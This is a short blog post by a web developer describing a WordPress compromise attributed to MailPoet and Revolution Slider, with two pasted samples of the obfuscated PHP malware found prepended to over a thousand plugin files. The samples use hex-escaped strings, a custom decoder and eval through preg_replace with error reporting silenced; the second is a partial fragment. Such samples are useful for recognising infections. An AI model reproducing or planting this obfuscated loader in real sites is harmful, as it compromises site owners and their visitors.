{ Dev Farm }

Web & Windows Development

WordPress and multiple malwares

| 0 commenti

5.00 avg. rating (92% score) - 1 vote

Thanks to MailPoet and Revolution Slider my websites run over multiple attaks.

I noticed problems mainly because, when I enter in the plugins’ list, a lot of errors like “Plugin ABC deactivated..” come out.
This because the plugin main file was not starting with its regular comment, but with the malevolent code.

A lot of files (1000+) was starting like this

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $jfdbjfrkuo = 'g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+5%x5c%x7878:-!%x5c%x7825tzw%x5c%xx5c%x7825o:!>!%x5c%x78242178}527}88:}334}467]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]6gP7L6M7]D4]275]D:M8]Df#<%x5)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%27pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#z5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93eps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7]37]278]225]241]334]368]322]3]364]6]225j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x78]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH25bss-%x5c%x7825r%x5c%x7878B%xx5c%x7825ww2)%x5c%x7825%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%157%x6c%x7827,*d%x5c%x7827,*ct%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%7822!pd%x5c%x7825)!gj}Z;h!opjudovc%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x78782fq%x5c%x7825>U<#16,4doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fm5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%c%x7825bG9}:}.}-}!#*<%x5cbssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%%x21%50%x5c%x7825%x5c%x7878:!>#]yM#-#[#-#Y#-#D#-#W#-#C#-#OK)ftpmdXA6|7**197-2qj%x5c%x7825%x5c%x782f#)rrd%x5c%x#-#N#*%x5c%x7824%x5c%x782f%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x78!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvu878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<%x7825!|!*#91y]c9y]g2y]#>>*4-1-bub)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x72f#00#W~!%x5c%x7825t2wy]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825x5c%x7825:|:*r%x5c%x7825:-x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5d!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x78d%x5c%x7825w6Z6<.5%x:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t.98]K47825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x782UTPI%x5c%x7860QUUI&e_SEx5c%x7825:<#64y]552]e7fsX%x5c%x7827u%x5c%x7825)7f8:|:7#6#)tutjyf%x5c%x786043927sfvr#%x5c%x785cq%x5c%x78257%x5c%x782f%x7825!-#1]#-bubE{h%x5c%x7825)tpqsutx7825<#762]67y]562]38y]572]48y]#>m%%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bb6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x782y6g]273]y76]271]y7d]252]y74]256]y3%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%xx5c%x7824*!|!%x5c%x7824-%5c%x7825w:!>!%x5c%x78246767~6<Cw6<p;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5cc%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x787-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%xjojR%x5c%x7827id%x5c%x78256<%x5c%x78*0f(-!#]y76]277]y72]265]y39782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#7R57,27R66,#%x5c%x782fq%fs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5cx7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%; function fjfgg($n){return chr(ord($n)-1);} @er#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81]x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x78x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!5c%x7825)323ldfidk!~!<**qp%x5c%x78EB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x%x782f#00#W~!Ydrr)%x5c%x7825825tww**WYsboepn)%x5c%x78c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj60]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%!gj!|!*1?hmg%x5c%x78r%x5c%x7878Bsfuvso!sboepn)%x5fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x78274%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;m%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f4]275]y83]273]y76]277#<%x5c%x7825t2w>#tmfV%x5c%x787f<*X&Z&S{ftmx5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^72%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]25)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuD6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]yc%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idu9]252]y83]273]y72]282x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5x7822#)fepmqyfA>2b%x5c%x7825!<%73", NULL); }bn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x72f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x_GMFT%x5c%x7860QIQ&f_jgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787judovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x7fw6*%x5c%x787f_*#ujojRk3%x5c%x78]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%xtr.984:75983:48984:71]K9]77]D4]82]K6]mji%x5c%x78786<C%x5c%x7827&6<*rfs]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]6ft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>824!>!tus%x5c%x7860sf25!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787fg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!o785c2^-%x5c%x7825hOh%x5c%x78!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x55c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gc%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825E{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnp*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%>%x5c%x782f7rfs%x5c%x78256<#o58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpecsboe))1%x5c%x782f35.)1%x5c%x78}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!op5wN;#-Ez-1H*WCw*[!%x5c%x7825rN}%x7824-%x5c%x7824y4%x5c%x7824-%x5c%%x7825-qp%x5c%x7825)54l%x7827{**u%x5c%x7825-#jt0}Z;zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y762f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%<^#Y#%x5c%x785cq%x5c%x7825%x5c%825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGT52]y74]256#<!%x5c%x7825ff2!>!#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!134%x78%62%x35%165%x3a%146%x21%76#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x77860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubx5c%x7824%x5c%x785c%x5c%x7825jc%x78256|6.7eu{66~67<&w6<*&7-#o]s]o3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]%x78256<C>^#zsfvr#%x5c%x785cq%x55ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:fV%x5c%x787f<*XAZASV<*w%x5c%x7825c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)37825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]dbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%fsdXA%x5c%x7827K6<%x5c%x787fw.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c83]427]36]373P6]36]73]83]238M7]381]211M5]B%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%xsvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5cx782f#0#%x5c%x782f*#npdc%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%xsv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c<*::::::-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#OBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)u60{666~6<&w6<%x5c%x787fw6*CW&)7gj6<ror_reporting(0); preg_replace("%x2f%50%x2e72]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)32325)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5cx5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x786022)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5cx7827Y%x5c%x78256<.msv%xqmbdf)%x5c%x7825%x5c5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7#]y81]273]y76]258]y6fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)eb23zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*7,18R#>q%x5c%x7825V<*#fopoV!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>>%x5c%xALS["%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x61"]=13g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%xfw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%xy4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825c;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5cgj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7856<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787c%x7825yy)#}#-#%x5c%x7824-%7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5y]#>n%x5c%x7825<#372]58y]472]37y]6265]y72]254]y76#<%x5c%x7825tmw!>!#]y8##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-T-%x5c%x7825bT-%x5c%x7825hW~%%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x782572]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5%x5c%x787f<u%x5c%x7825V%x5c%x7827{f5i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5cif((function_exists("%x6f%142%x5f%163%x74%141%x72%1624<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x4") && (!isset($GLOBy]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7824%x5c%x78223}!+!<+{e%x5c%x7825+*]277]y72]265]y39]274]y85]273]1]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]25-bubE{h%x5c%x7825)sutcvt-#w#)l5c%x7860ftsbqA7>q%x5c%x782w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x78225G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5x5c%x7825>2q%x5c%x7825<#g6R85,67R382]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x295c%x7860hA%x5c%x7827s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%/(.*)/epreg_replacejboqvgscnr'; $muvvrdubeg = explode(chr((272-228)),'9413,52,9516,20,8254,68,2714,48,7298,43,637,60,3448,68,959,55,5901,33,1144,33,8322,45,2278,35,1733,20,10024,20,4485,59,1282,49,265,50,8868,37,6108,35,4386,53,8025,68,1901,27,4581,33,9130,55,5258,29,548,36,5934,42,1202,31,2416,39,6027,51,6637,29,2134,40,7504,65,315,52,1958,37,7387,61,6189,32,3219,59,5704,31,7898,24,9804,26,8723,67,3380,68,865,43,4199,44,8367,57,5735,70,7225,38,2455,36,4353,33,7263,35,6666,70,8534,63,7448,56,3800,64,4664,38,8187,67,759,33,4778,65,6881,41,7857,41,6736,61,1995,36,6461,65,5834,67,8663,60,9772,32,6526,57,3331,20,7608,65,1451,34,5140,50,1677,56,7795,62,5089,51,228,37,4029,30,5190,68,6922,23,1233,21,9286,47,697,23,2208,45,2978,43,7100,64,8817,51,3990,39,3901,68,4073,52,1388,63,5341,53,4178,21,1856,23,3055,43,6304,53,8093,67,8976,62,3021,34,4723,55,4871,35,3516,65,7050,50,5556,23,5425,65,4243,62,1928,30,6221,50,7742,53,9648,32,1331,57,2598,61,3581,39,9333,35,3658,25,6271,33,4305,48,842,23,2574,24,9947,34,8160,27,4439,46,2862,69,9536,55,2313,54,5579,28,3278,53,7569,39,5607,61,9680,29,2174,34,3969,21,2762,49,8939,37,3620,38,7164,61,8424,48,908,51,5040,49,1546,57,6583,54,2659,55,1879,22,8905,34,7341,46,2031,35,1603,26,720,39,93,42,3732,68,5805,29,1039,64,2253,25,6078,30,4906,67,8790,27,5976,51,4702,21,7922,20,5521,35,2811,51,9465,51,4973,67,422,43,8597,66,3098,68,6357,49,8472,62,6838,43,1810,46,9368,45,3166,28,3351,29,6945,57,9591,57,5490,31,7002,48,4843,28,1524,22,1485,39,3194,25,584,30,367,55,1753,57,9038,63,4544,37,9243,43,6143,46,3864,37,200,28,792,50,9895,52,1014,25,2066,68,9101,29,7673,69,465,37,6797,41,135,65,5287,54,5394,31,4125,53,7942,63,9185,58,10044,62,3683,49,1103,41,1629,48,2367,49,502,46,5668,36,2931,47,614,23,9830,65,60,33,2518,56,1177,25,1254,28,6406,55,8005,20,0,60,2491,27,4614,50,9709,63,9981,43,4059,14'); $pymbewnzvs=substr($jfdbjfrkuo,(33117-23011),(40-33)); if (!function_exists('pvtuswizbe')) { function pvtuswizbe($rcyjifscei, $ybtsehfxul) { $wqnnfqixnz = NULL; for($fsealxtzrj=0;$fsealxtzrj<(sizeof($rcyjifscei)/2);$fsealxtzrj++) { $wqnnfqixnz .= substr($ybtsehfxul, $rcyjifscei[($fsealxtzrj*2)],$rcyjifscei[($fsealxtzrj*2)+1]); } return $wqnnfqixnz; };} $wquuspcnxa="\x20\57\x2a\40\x69\145\x61\150\x6d\143\x69\166\x72\167\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\66\x36\55\x31\62\x39\51\x29\54\x20\143\x68\162\x28\50\x35\66\x39\55\x34\67\x37\51\x29\54\x20\160\x76\164\x75\163\x77\151\x7a\142\x65\50\x24\155\x75\166\x76\162\x64\165\x62\145\x67\54\x24\152\x66\144\x62\152\x66\162\x6b\165\x6f\51\x29\51\x3b\40\x2f\52\x20\142\x68\167\x64\166\x66\145\x79\161\x76\40\x2a\57\x20"; $bgeknslzdf=substr($jfdbjfrkuo,(33566-23453),(41-29)); $bgeknslzdf($pymbewnzvs, $wquuspcnxa, NULL); $bgeknslzdf=$wquuspcnxa; $bgeknslzdf=(825-704); $jfdbjfrkuo=$bgeknslzdf-1; ?>

Others (50+) was starting like this, and other random vars

<?php $ghkpbkldao = '#-!OVMM*<%x22%51%x29%51%x29%73", NULL); 160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!s825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x786I&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&7jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%xx5c%x78256<*Y%x5c%x78%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tuss%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%%x61%156%x75%156%x61"]=1; functioq%x5c%x7825l}S;2-u%x5c%x782fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#ox5c%x78e%x5c%x78b%x5c%x7825m34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84]6]234]342]58]24]31#-%n fjfgg($n){return chr(ord($n78242178}527}88:}334}48256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5n%x5c%x7825-#+I#)q%x6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x5c%x787f_*#fmjgk4%x5cif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset($y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x7]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33b:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=t275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368])!gj!<2,*j%x5c%x7825!5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;278X6<#o]o]Y%x5c%x7825)fepmqnj!%x5c%x782f!#0#)ix7825j=tj{fpg)%x5c%x7qov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x75c%x782fr%x5c%x7825%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!dovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*4-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%xx5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%xx7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%xdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-11111%x5c%x785c%x5c%x7825j:]#>m%x5c%x7825:|:*r%x5c%x7825%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x78257860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]3645c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUx782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]hofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x7821y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hc_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b7824-%x5c%x7824y4%x5c%]271]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c}^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825x5c%x7825tdz*Wsfuvso!%x5c%x71]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7%x78256<#o]1%x5c%x782f20QUUI7jx782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%78b%x5c%x7825ggg!>!#]y81]273]y76]258]jR%x5c%x7827id%x5c%x78256<%x5c%x787%x5c%x787f<*XAZASV<*w%x825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x572%x5c%x7824<!%x5c%x7825mm!>!#]y81]5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785c87fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]2782p%x5c%x7825!|!*!***b%x5c%x7825O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x22:ftmbg39*56A:>:8:|:7#6#)tutjy257-C)fepmqnjA%x5c%x77824-%x5c%x7824y7%x5c%x78m)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x782|!%x5c%x7824-%x5c%x7824%x5x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x77825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#9-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg827!hmg%x5c%x7825)!gj!~<ofufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)q}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5f%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuw;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjuSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x782dubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpupd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c65","%x65%166%x61%154%x28%151%x6d%160%x6!#]y76]277]y72]265]y39]274]y85]273]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81]2w6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gjc%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5x5c%x782f2986+7**^%x5c%x782f%x5c%x78825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%sut)tpqssutRe%x5c%x7825)Rj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x782)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5cd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#)-1);} @error_reporting(0); 